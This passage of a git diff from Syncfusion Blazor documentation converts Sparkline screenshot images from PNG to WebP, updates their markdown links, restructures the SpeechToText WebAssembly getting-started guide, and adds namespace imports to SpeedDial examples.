index 0000000000..ec7a3daa98
Binary files /dev/null and b/blazor/sparkline/images/SparklineTypes/blazor-winloss-sparkline.webp differ
diff --git a/blazor/sparkline/images/SpecialPoints/blazor-sparkline-custom-point.png b/blazor/sparkline/images/SpecialPoints/blazor-sparkline-custom-point.png
deleted file mode 100644
index e206df9d1e..0000000000
Binary files a/blazor/sparkline/images/SpecialPoints/blazor-sparkline-custom-point.png and /dev/null differ
diff --git a/blazor/sparkline/images/SpecialPoints/blazor-sparkline-custom-point.webp b/blazor/sparkline/images/SpecialPoints/blazor-sparkline-custom-point.webp
new file mode 100644
index 0000000000..66ca75869a
Binary files /dev/null and b/blazor/sparkline/images/SpecialPoints/blazor-sparkline-custom-point.webp differ
diff --git a/blazor/sparkline/images/SpecialPoints/blazor-sparkline-tie-point-color.png b/blazor/sparkline/images/SpecialPoints/blazor-sparkline-tie-point-color.png
deleted file mode 100644
index ac0d0121eb..0000000000
Binary files a/blazor/sparkline/images/SpecialPoints/blazor-sparkline-tie-point-color.png and /dev/null differ
diff --git a/blazor/sparkline/images/SpecialPoints/blazor-sparkline-tie-point-color.webp b/blazor/sparkline/images/SpecialPoints/blazor-sparkline-tie-point-color.webp
new file mode 100644
index 0000000000..b13d222080
Binary files /dev/null and b/blazor/sparkline/images/SpecialPoints/blazor-sparkline-tie-point-color.webp differ
diff --git a/blazor/sparkline/images/UserInteraction/blazor-sparkline-custom-tooltip.png b/blazor/sparkline/images/UserInteraction/blazor-sparkline-custom-tooltip.png
deleted file mode 100644
index ba0ff5a994..0000000000
Binary files a/blazor/sparkline/images/UserInteraction/blazor-sparkline-custom-tooltip.png and /dev/null differ
diff --git a/blazor/sparkline/images/UserInteraction/blazor-sparkline-custom-tooltip.webp b/blazor/sparkline/images/UserInteraction/blazor-sparkline-custom-tooltip.webp
new file mode 100644
index 0000000000..a277def3a0
Binary files /dev/null and b/blazor/sparkline/images/UserInteraction/blazor-sparkline-custom-tooltip.webp differ
diff --git a/blazor/sparkline/images/UserInteraction/blazor-sparkline-tooltip-template.png b/blazor/sparkline/images/UserInteraction/blazor-sparkline-tooltip-template.png
deleted file mode 100644
index c391099632..0000000000
Binary files a/blazor/sparkline/images/UserInteraction/blazor-sparkline-tooltip-template.png and /dev/null differ
diff --git a/blazor/sparkline/images/UserInteraction/blazor-sparkline-tooltip-template.webp b/blazor/sparkline/images/UserInteraction/blazor-sparkline-tooltip-template.webp
new file mode 100644
index 0000000000..7b3f300978
Binary files /dev/null and b/blazor/sparkline/images/UserInteraction/blazor-sparkline-tooltip-template.webp differ
diff --git a/blazor/sparkline/images/UserInteraction/blazor-sparkline-tooltip.png b/blazor/sparkline/images/UserInteraction/blazor-sparkline-tooltip.png
deleted file mode 100644
index f584c52377..0000000000
Binary files a/blazor/sparkline/images/UserInteraction/blazor-sparkline-tooltip.png and /dev/null differ
diff --git a/blazor/sparkline/images/UserInteraction/blazor-sparkline-tooltip.webp b/blazor/sparkline/images/UserInteraction/blazor-sparkline-tooltip.webp
new file mode 100644
index 0000000000..f6f056a2dd
Binary files /dev/null and b/blazor/sparkline/images/UserInteraction/blazor-sparkline-tooltip.webp differ
diff --git a/blazor/sparkline/images/UserInteraction/blazor-sparkline-with-track-line.png b/blazor/sparkline/images/UserInteraction/blazor-sparkline-with-track-line.png
deleted file mode 100644
index 9dc696d668..0000000000
Binary files a/blazor/sparkline/images/UserInteraction/blazor-sparkline-with-track-line.png and /dev/null differ
diff --git a/blazor/sparkline/images/UserInteraction/blazor-sparkline-with-track-line.webp b/blazor/sparkline/images/UserInteraction/blazor-sparkline-with-track-line.webp
new file mode 100644
index 0000000000..e8072dc63a
Binary files /dev/null and b/blazor/sparkline/images/UserInteraction/blazor-sparkline-with-track-line.webp differ
diff --git a/blazor/sparkline/images/blazor-area-sparkline.png b/blazor/sparkline/images/blazor-area-sparkline.png
deleted file mode 100644
index 31ab12da68..0000000000
Binary files a/blazor/sparkline/images/blazor-area-sparkline.png and /dev/null differ
diff --git a/blazor/sparkline/images/blazor-area-sparkline.webp b/blazor/sparkline/images/blazor-area-sparkline.webp
new file mode 100644
index 0000000000..c6838b3011
Binary files /dev/null and b/blazor/sparkline/images/blazor-area-sparkline.webp differ
diff --git a/blazor/sparkline/images/blazor-create-web-app.png b/blazor/sparkline/images/blazor-create-web-app.png
deleted file mode 100644
index 7dd6e612d2..0000000000
Binary files a/blazor/sparkline/images/blazor-create-web-app.png and /dev/null differ
diff --git a/blazor/sparkline/images/blazor-create-web-app.webp b/blazor/sparkline/images/blazor-create-web-app.webp
new file mode 100644
index 0000000000..199356f771
Binary files /dev/null and b/blazor/sparkline/images/blazor-create-web-app.webp differ
diff --git a/blazor/sparkline/images/blazor-sparkline-data-label.png b/blazor/sparkline/images/blazor-sparkline-data-label.png
deleted file mode 100644
index 0c4e8211d4..0000000000
Binary files a/blazor/sparkline/images/blazor-sparkline-data-label.png and /dev/null differ
diff --git a/blazor/sparkline/images/blazor-sparkline-data-label.webp b/blazor/sparkline/images/blazor-sparkline-data-label.webp
new file mode 100644
index 0000000000..a002f0c7cb
Binary files /dev/null and b/blazor/sparkline/images/blazor-sparkline-data-label.webp differ
diff --git a/blazor/sparkline/images/blazor-sparkline-tooltip.png b/blazor/sparkline/images/blazor-sparkline-tooltip.png
deleted file mode 100644
index d394630aba..0000000000
Binary files a/blazor/sparkline/images/blazor-sparkline-tooltip.png and /dev/null differ
diff --git a/blazor/sparkline/images/blazor-sparkline-tooltip.webp b/blazor/sparkline/images/blazor-sparkline-tooltip.webp
new file mode 100644
index 0000000000..0ede7983e9
Binary files /dev/null and b/blazor/sparkline/images/blazor-sparkline-tooltip.webp differ
diff --git a/blazor/sparkline/images/blazor-sparkline.png b/blazor/sparkline/images/blazor-sparkline.png
deleted file mode 100644
index 8229249999..0000000000
Binary files a/blazor/sparkline/images/blazor-sparkline.png and /dev/null differ
diff --git a/blazor/sparkline/images/blazor-sparkline.webp b/blazor/sparkline/images/blazor-sparkline.webp
new file mode 100644
index 0000000000..64b5d98a7d
Binary files /dev/null and b/blazor/sparkline/images/blazor-sparkline.webp differ
diff --git a/blazor/sparkline/images/blazor-wasm-app-template.png b/blazor/sparkline/images/blazor-wasm-app-template.png
deleted file mode 100644
index 8cf1737d81..0000000000
Binary files a/blazor/sparkline/images/blazor-wasm-app-template.png and /dev/null differ
diff --git a/blazor/sparkline/images/blazor-wasm-app-template.webp b/blazor/sparkline/images/blazor-wasm-app-template.webp
new file mode 100644
index 0000000000..6824d1db62
Binary files /dev/null and b/blazor/sparkline/images/blazor-wasm-app-template.webp differ
diff --git a/blazor/sparkline/images/browser-output.png b/blazor/sparkline/images/browser-output.png
deleted file mode 100644
index ead5ffa871..0000000000
Binary files a/blazor/sparkline/images/browser-output.png and /dev/null differ
diff --git a/blazor/sparkline/images/browser-output.webp b/blazor/sparkline/images/browser-output.webp
new file mode 100644
index 0000000000..f8658cb36f
Binary files /dev/null and b/blazor/sparkline/images/browser-output.webp differ
diff --git a/blazor/sparkline/images/frame-work.png b/blazor/sparkline/images/frame-work.png
deleted file mode 100644
index 66350430d6..0000000000
Binary files a/blazor/sparkline/images/frame-work.png and /dev/null differ
diff --git a/blazor/sparkline/images/frame-work.webp b/blazor/sparkline/images/frame-work.webp
new file mode 100644
index 0000000000..4ce41a3b15
Binary files /dev/null and b/blazor/sparkline/images/frame-work.webp differ
diff --git a/blazor/sparkline/images/import-cdn.png b/blazor/sparkline/images/import-cdn.png
deleted file mode 100644
index 075d96aab3..0000000000
Binary files a/blazor/sparkline/images/import-cdn.png and /dev/null differ
diff --git a/blazor/sparkline/images/import-cdn.webp b/blazor/sparkline/images/import-cdn.webp
new file mode 100644
index 0000000000..7db6a111c2
Binary files /dev/null and b/blazor/sparkline/images/import-cdn.webp differ
diff --git a/blazor/sparkline/images/localization/blazor-sparkline-localization.png b/blazor/sparkline/images/localization/blazor-sparkline-localization.png
deleted file mode 100644
index fd054efc14..0000000000
Binary files a/blazor/sparkline/images/localization/blazor-sparkline-localization.png and /dev/null differ
diff --git a/blazor/sparkline/images/localization/blazor-sparkline-localization.webp b/blazor/sparkline/images/localization/blazor-sparkline-localization.webp
new file mode 100644
index 0000000000..44e3056621
Binary files /dev/null and b/blazor/sparkline/images/localization/blazor-sparkline-localization.webp differ
diff --git a/blazor/sparkline/images/marker/blazor-sparkline-custom-marker.png b/blazor/sparkline/images/marker/blazor-sparkline-custom-marker.png
deleted file mode 100644
index b74cb3cda7..0000000000
Binary files a/blazor/sparkline/images/marker/blazor-sparkline-custom-marker.png and /dev/null differ
diff --git a/blazor/sparkline/images/marker/blazor-sparkline-custom-marker.webp b/blazor/sparkline/images/marker/blazor-sparkline-custom-marker.webp
new file mode 100644
index 0000000000..dd2920652f
Binary files /dev/null and b/blazor/sparkline/images/marker/blazor-sparkline-custom-marker.webp differ
diff --git a/blazor/sparkline/images/marker/blazor-sparkline-high-low-point-marker.png b/blazor/sparkline/images/marker/blazor-sparkline-high-low-point-marker.png
deleted file mode 100644
index 8fa52ee3eb..0000000000
Binary files a/blazor/sparkline/images/marker/blazor-sparkline-high-low-point-marker.png and /dev/null differ
diff --git a/blazor/sparkline/images/marker/blazor-sparkline-high-low-point-marker.webp b/blazor/sparkline/images/marker/blazor-sparkline-high-low-point-marker.webp
new file mode 100644
index 0000000000..398e6a94fa
Binary files /dev/null and b/blazor/sparkline/images/marker/blazor-sparkline-high-low-point-marker.webp differ
diff --git a/blazor/sparkline/images/marker/blazor-sparkline-marker.png b/blazor/sparkline/images/marker/blazor-sparkline-marker.png
deleted file mode 100644
index 0cdf6b545c..0000000000
Binary files a/blazor/sparkline/images/marker/blazor-sparkline-marker.png and /dev/null differ
diff --git a/blazor/sparkline/images/marker/blazor-sparkline-marker.webp b/blazor/sparkline/images/marker/blazor-sparkline-marker.webp
new file mode 100644
index 0000000000..f7f28e035a
Binary files /dev/null and b/blazor/sparkline/images/marker/blazor-sparkline-marker.webp differ
diff --git a/blazor/sparkline/images/new-project.png b/blazor/sparkline/images/new-project.png
deleted file mode 100644
index ecd2ca0567..0000000000
Binary files a/blazor/sparkline/images/new-project.png and /dev/null differ
diff --git a/blazor/sparkline/images/new-project.webp b/blazor/sparkline/images/new-project.webp
new file mode 100644
index 0000000000..c8e76c8020
Binary files /dev/null and b/blazor/sparkline/images/new-project.webp differ
diff --git a/blazor/sparkline/images/nuget-explorer.png b/blazor/sparkline/images/nuget-explorer.png
deleted file mode 100644
index f9306f219e..0000000000
Binary files a/blazor/sparkline/images/nuget-explorer.png and /dev/null differ
diff --git a/blazor/sparkline/images/nuget-explorer.webp b/blazor/sparkline/images/nuget-explorer.webp
new file mode 100644
index 0000000000..4353f9ac92
Binary files /dev/null and b/blazor/sparkline/images/nuget-explorer.webp differ
diff --git a/blazor/sparkline/images/rangeband/RangeBand.png b/blazor/sparkline/images/rangeband/RangeBand.png
deleted file mode 100644
index 2960847fc9..0000000000
Binary files a/blazor/sparkline/images/rangeband/RangeBand.png and /dev/null differ
diff --git a/blazor/sparkline/images/rangeband/RangeBand.webp b/blazor/sparkline/images/rangeband/RangeBand.webp
new file mode 100644
index 0000000000..7e40ca2ab3
Binary files /dev/null and b/blazor/sparkline/images/rangeband/RangeBand.webp differ
diff --git a/blazor/sparkline/images/rangeband/blazor-sparkline-chart-multiple-range-band.png b/blazor/sparkline/images/rangeband/blazor-sparkline-chart-multiple-range-band.png
deleted file mode 100644
index c6ac435600..0000000000
Binary files a/blazor/sparkline/images/rangeband/blazor-sparkline-chart-multiple-range-band.png and /dev/null differ
diff --git a/blazor/sparkline/images/rangeband/blazor-sparkline-chart-multiple-range-band.webp b/blazor/sparkline/images/rangeband/blazor-sparkline-chart-multiple-range-band.webp
new file mode 100644
index 0000000000..ad3f8d6823
Binary files /dev/null and b/blazor/sparkline/images/rangeband/blazor-sparkline-chart-multiple-range-band.webp differ
diff --git a/blazor/sparkline/images/select-nuget.png b/blazor/sparkline/images/select-nuget.png
deleted file mode 100644
index 69ff97a9b3..0000000000
Binary files a/blazor/sparkline/images/select-nuget.png and /dev/null differ
diff --git a/blazor/sparkline/images/select-nuget.webp b/blazor/sparkline/images/select-nuget.webp
new file mode 100644
index 0000000000..d9e267635f
Binary files /dev/null and b/blazor/sparkline/images/select-nuget.webp differ
diff --git a/blazor/sparkline/images/tooltip.png b/blazor/sparkline/images/tooltip.png
deleted file mode 100644
index c3046febb3..0000000000
Binary files a/blazor/sparkline/images/tooltip.png and /dev/null differ
diff --git a/blazor/sparkline/images/tooltip.webp b/blazor/sparkline/images/tooltip.webp
new file mode 100644
index 0000000000..d63d422f79
Binary files /dev/null and b/blazor/sparkline/images/tooltip.webp differ
diff --git a/blazor/sparkline/markers.md b/blazor/sparkline/markers.md
index 24debf8d52..397a374e54 100644
--- a/blazor/sparkline/markers.md
+++ b/blazor/sparkline/markers.md
@@ -26,7 +26,7 @@ The [Visible](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.Spa
 
 ```
 
-![Blazor Sparkline Chart with Marker](./images/marker/blazor-sparkline-marker.png)
+![Blazor Sparkline Chart with Marker](./images/marker/blazor-sparkline-marker.webp)
 
 ## Adding Special Point Markers
 
@@ -51,7 +51,7 @@ Markers can be enabled for specific points as a collection. The following specia
 
 ```
 
-![Displaying High and Low Points Marker in Blazor Sparkline Chart](./images/marker/blazor-sparkline-high-low-point-marker.png)
+![Displaying High and Low Points Marker in Blazor Sparkline Chart](./images/marker/blazor-sparkline-high-low-point-marker.webp)
 
 ## Markers Customization
 
@@ -76,4 +76,4 @@ The following properties can be used to customize markers:
 
 ```
 
-![Blazor Sparkline Chart with Custom Marker](./images/marker/blazor-sparkline-custom-marker.png)
+![Blazor Sparkline Chart with Custom Marker](./images/marker/blazor-sparkline-custom-marker.webp)
diff --git a/blazor/sparkline/range-band.md b/blazor/sparkline/range-band.md
index f381a30170..37760cb955 100644
--- a/blazor/sparkline/range-band.md
+++ b/blazor/sparkline/range-band.md
@@ -33,4 +33,4 @@ The following properties are used to customize the range band:
 
 ```
 
-![Blazor Sparkline Chart with Multiple Range Band](./images/rangeband/blazor-sparkline-chart-multiple-range-band.png)
+![Blazor Sparkline Chart with Multiple Range Band](./images/rangeband/blazor-sparkline-chart-multiple-range-band.webp)
diff --git a/blazor/sparkline/special-points-customization.md b/blazor/sparkline/special-points-customization.md
index c39e981410..9805b16a7e 100644
--- a/blazor/sparkline/special-points-customization.md
+++ b/blazor/sparkline/special-points-customization.md
@@ -52,7 +52,7 @@ The color of special points can be changed by specifying the corresponding prope
 
 ```
 
-![Blazor Sparkline Chart with Custom Point](images/SpecialPoints/blazor-sparkline-custom-point.png)
+![Blazor Sparkline Chart with Custom Point](images/SpecialPoints/blazor-sparkline-custom-point.webp)
 
 ## Tie Point Color
 
@@ -67,4 +67,4 @@ To highlight the tie area of the Y-axis value, use the [TiePointColor](https://h
 
 ```
 
-![Highlighting Tie Point Area in Blazor Sparkline Chart](images/SpecialPoints/blazor-sparkline-tie-point-color.png)
+![Highlighting Tie Point Area in Blazor Sparkline Chart](images/SpecialPoints/blazor-sparkline-tie-point-color.webp)
diff --git a/blazor/sparkline/user-interaction.md b/blazor/sparkline/user-interaction.md
index 20f54db852..f090835e1c 100644
--- a/blazor/sparkline/user-interaction.md
+++ b/blazor/sparkline/user-interaction.md
@@ -44,7 +44,7 @@ When the mouse hovers over a data point, the Sparkline can display details about
 
 ```
 
-![Blazor Sparkline Chart with Tooltip](images/UserInteraction/blazor-sparkline-tooltip.png)
+![Blazor Sparkline Chart with Tooltip](images/UserInteraction/blazor-sparkline-tooltip.webp)
 
 ### Tooltip Customization
 
@@ -74,7 +74,7 @@ The following example shows customizing tooltip format, text color, and fill col
 
 N> Refer to the [code block](#tooltip) for the **WorkLogs** property value.
 
-![Blazor Sparkline Chart with Custom Tooltip](images/UserInteraction/blazor-sparkline-custom-tooltip.png)
+![Blazor Sparkline Chart with Custom Tooltip](images/UserInteraction/blazor-sparkline-custom-tooltip.webp)
 
 ### Tooltip Template
 
@@ -110,7 +110,7 @@ The tooltip can be rendered as a custom component by specifying the [Template](h
 
 N> Refer to the [code block](#tooltip) for the **WorkLogs** property value.
 
-![Blazor Sparkline Chart with Tooltip Template](images/UserInteraction/blazor-sparkline-tooltip-template.png)
+![Blazor Sparkline Chart with Tooltip Template](images/UserInteraction/blazor-sparkline-tooltip-template.webp)
 
 ## Track Line
 
@@ -132,4 +132,4 @@ The track line highlights data points closest to the mouse position or touch int
 
 ```
 
-![Blazor Sparkline Chart with Track Line](images/UserInteraction/blazor-sparkline-with-track-line.png)
+![Blazor Sparkline Chart with Track Line](images/UserInteraction/blazor-sparkline-with-track-line.webp)
diff --git a/blazor/speech-to-text/getting-started-wasm.md b/blazor/speech-to-text/getting-started-wasm.md
index 9d5a76942d..4c5db095f3 100644
--- a/blazor/speech-to-text/getting-started-wasm.md
+++ b/blazor/speech-to-text/getting-started-wasm.md
@@ -11,7 +11,7 @@ documentation: ug
 
 # Getting Started with Blazor SpeechToText in a Blazor WASM App
 
-This section explains how to add the [Blazor SpeechToText](https://www.syncfusion.com/blazor-components) component to a Blazor WebAssembly application using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
+This section briefly explains about how to include [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor SpeechToText](https://www.syncfusion.com/blazor-components/blazor-speech-to-text) component in a Blazor WebAssembly App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
 
 {% tabcontents %}
 
@@ -25,22 +25,6 @@ This section explains how to add the [Blazor SpeechToText](https://www.syncfusio
 
 Create a **Blazor WebAssembly App** using Visual Studio via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vs) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-integration/template-studio). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app) documentation.
 
-![Blazor WASM Create Project Template](images/blazor-wasm-app-template.webp)
-
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Inputs NuGet in the App
-
-To add the **Blazor SpeechToText** component to the app, open the NuGet package manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), then search and install [Syncfusion.Blazor.Inputs](https://www.nuget.org/packages). Alternatively, run the following commands in the Package Manager Console to achieve the same.
-
-{% tabs %}
-{% highlight C# tabtitle="Package Manager" %}
-
-Install-Package Syncfusion.Blazor.Inputs -Version {{ site.releaseversion }}
-
-{% endhighlight %}
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
 {% endtabcontent %}
 
 {% tabcontent Visual Studio Code %}
@@ -53,7 +37,7 @@ N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are availa
 
 Create a **Blazor WebAssembly App** using Visual Studio Code via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vsc) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=visual-studio-code) documentation.
 
-Alternatively, create a WebAssembly application by using the following command in the integrated terminal(<kbd>Ctrl</kbd>+<kbd>`</kbd>).
+Alternatively, create a WebAssembly application by using the following command in the integrated terminal (<kbd>Ctrl</kbd>+<kbd>`</kbd>).
 
 {% tabs %}
 
@@ -66,25 +50,6 @@ cd BlazorApp
 
 {% endtabs %}
 
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Inputs NuGet in the App
-
-* Press <kbd>Ctrl</kbd>+<kbd>`</kbd> to open the integrated terminal in Visual Studio Code.
-* Ensure in the project root directory where the `.csproj` file is located.
-* Run the following command to install the [Syncfusion.Blazor.Inputs](https://www.nuget.org/packages/Syncfusion.Blazor.Inputs) NuGet package and ensure all dependencies are installed.
-
-{% tabs %}
-
-{% highlight c# tabtitle="Package Manager" %}
-
-dotnet add package Syncfusion.Blazor.Inputs -v {{ site.releaseversion }}
-dotnet restore
-
-{% endhighlight %}
-
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
 {% endtabcontent %}
 
 {% tabcontent .NET CLI %}
@@ -103,7 +68,7 @@ dotnet --version
 
 ## Create a Blazor WebAssembly App using .NET CLI
 
-Run the following command to create a new Blazor WebAssembly App in a command prompt (Windows) or terminal (macOS) or command shell (Linux). For detailed instructions, refer to [this Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=.net-cli) documentation.
+Run the following command to create a new Blazor WebAssembly App in a command prompt (Windows) or terminal (macOS) or command shell (Linux). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=.net-cli) documentation.
 
 {% tabs %}
 {% highlight c# tabtitle=".NET CLI" %}
@@ -114,29 +79,29 @@ cd BlazorApp
 {% endhighlight %}
 {% endtabs %}
 
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Inputs and Themes NuGet in the App
+{% endtabcontent %}
+
+{% endtabcontents %}
+
+## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
 
-To add the **Blazor SpeechToText** component to the application, run the following commands in a command prompt (Windows), command shell (Linux), or terminal (macOS) to install the [Syncfusion.Blazor.Inputs](https://www.nuget.org/packages/Syncfusion.Blazor.Inputs/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages. See [Install and manage packages using the dotnet CLI](https://learn.microsoft.com/en-us/nuget/consume-packages/install-use-packages-dotnet-cli) for more details.
+Install [Syncfusion.Blazor.Inputs](https://www.nuget.org/packages/Syncfusion.Blazor.Inputs/) NuGet package in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (`dotnet add package`), or the .NET CLI.
+
+Alternatively, run the following commands in the Package Manager Console to achieve the same.
 
 {% tabs %}
-{% highlight c# tabtitle=".NET CLI" %}
+{% highlight C# tabtitle="Package Manager" %}
 
-dotnet add package Syncfusion.Blazor.Inputs -Version {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
-dotnet restore
+Install-Package Syncfusion.Blazor.Inputs -Version {{ site.releaseversion }}
 
 {% endhighlight %}
 {% endtabs %}
 
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
+N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for details.
 
-{% endtabcontent %}
+## Add import namespaces
 
-{% endtabcontents %}
-
-## Add Import Namespaces
-
-Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Inputs` namespaces.
+After the package is installed, open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Inputs` namespaces.
 
 {% tabs %}
 {% highlight C# tabtitle="~/_Imports.razor" %}
@@ -147,25 +112,17 @@ Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncf
 {% endhighlight %}
 {% endtabs %}
 
-## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service
+## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service
 
-Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service in the **~/Program.cs** file of the Blazor WebAssembly App.
+Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **Program.cs** file of your Blazor WebAssembly App.
 
 {% tabs %}
-{% highlight C# tabtitle="Blazor WebAssembly App" hl_lines="3 11" %}
+{% highlight C# tabtitle="Program.cs" %}
 
-using Microsoft.AspNetCore.Components.Web;
-using Microsoft.AspNetCore.Components.WebAssembly.Hosting;
+....
 using Syncfusion.Blazor;
-
-var builder = WebAssemblyHostBuilder.CreateDefault(args);
-builder.RootComponents.Add<App>("#app");
-builder.RootComponents.Add<HeadOutlet>("head::after");
-
-builder.Services.AddScoped(sp => new HttpClient { BaseAddress = new Uri(builder.HostEnvironment.BaseAddress) });
-
+....
 builder.Services.AddSyncfusionBlazor();
-await builder.Build().RunAsync();
 ....
 
 {% endhighlight %}
@@ -173,23 +130,22 @@ await builder.Build().RunAsync();
 
 ## Add script resources
 
-The script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the script reference in the `<head>` section of the **~/index.html** file.
+The script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the script reference in the **~/index.html** file.
 
 ```html
-<head>
-    ....
-    <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
-</head>
+
+<script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
+
 ```
 
 N> Check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in the Blazor application.
 
-## Add Blazor SpeechToText component
+## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor SpeechToText component
 
 Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor SpeechToText component in the **~/Pages/Index.razor** file.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Index.razor" %}
 
 @using Syncfusion.Blazor.Inputs
 
@@ -226,7 +182,7 @@ Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor SpeechToText com
 Use the [Text](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Inputs.SpeechToTextButtonSettings.html#Syncfusion_Blazor_Inputs_SpeechToTextButtonSettings_Text) property to display the start listening text and [StopStateText](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Inputs.SpeechToTextButtonSettings.html#Syncfusion_Blazor_Inputs_SpeechToTextButtonSettings_StopStateText) property to display the stop listening text by using the [ButtonSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Inputs.SfSpeechToText.html#Syncfusion_Blazor_Inputs_SfSpeechToText_ButtonSettings) property.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Index.razor" %}
 
 @using Syncfusion.Blazor.Inputs
 
@@ -260,7 +216,7 @@ Use the [Text](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Inputs.Sp
 ![Blazor SpeechToText with Button Content Start text](images/btn-content-start.webp)
 ![Blazor SpeechToText with Button Content Stop text](images/btn-content-stop.webp)
 
-## See Also
+## See also
 
 * [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor for Client-Side in .NET Core CLI](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-dotnet-cli)
 * [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor for Server-Side in Visual Studio](https://blazor.syncfusion.com/documentation/getting-started/blazor-server-side-visual-studio)
diff --git a/blazor/speeddial/getting-started-webapp.md b/blazor/speeddial/getting-started-webapp.md
index 4869676e1b..a227a7ced5 100644
--- a/blazor/speeddial/getting-started-webapp.md
+++ b/blazor/speeddial/getting-started-webapp.md
@@ -167,6 +167,8 @@ N> If the **Interactivity Location** is set to `Global` with `Auto` or `WebAssem
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.Buttons
+
 <div id="target" style="min-height:200px; position:relative; width:300px; border:1px solid;">
     <SfSpeedDial Target="#target" Content="Edit">
         <SpeedDialItems>
@@ -193,6 +195,8 @@ You can use the [`Mode`](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.Buttons
+
 <div id="target" style="min-height:200px; position:relative; width:300px; border:1px solid;">
     <SfSpeedDial Target="#target" Position="FabPosition.BottomLeft" Mode="SpeedDialMode.Radial" OpenIconCss="e-icons e-edit">
         <SpeedDialRadialSettings OffSet="80px"/>
@@ -223,6 +227,8 @@ The speed dial control triggers the [`ItemClicked`](https://help.syncfusion.com/
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.Buttons
+
 <div id="target" style="min-height:200px; position:relative; width:300px; border:1px solid;">
     <SfSpeedDial Target="#target" OpenIconCss="e-icons e-edit" ItemClicked="ItemEventClick">
         <SpeedDialItems>
diff --git a/blazor/speeddial/getting-started.md b/blazor/speeddial/getting-started.md
index f3c735c7be..552895f648 100644
--- a/blazor/speeddial/getting-started.md
+++ b/blazor/speeddial/getting-started.md
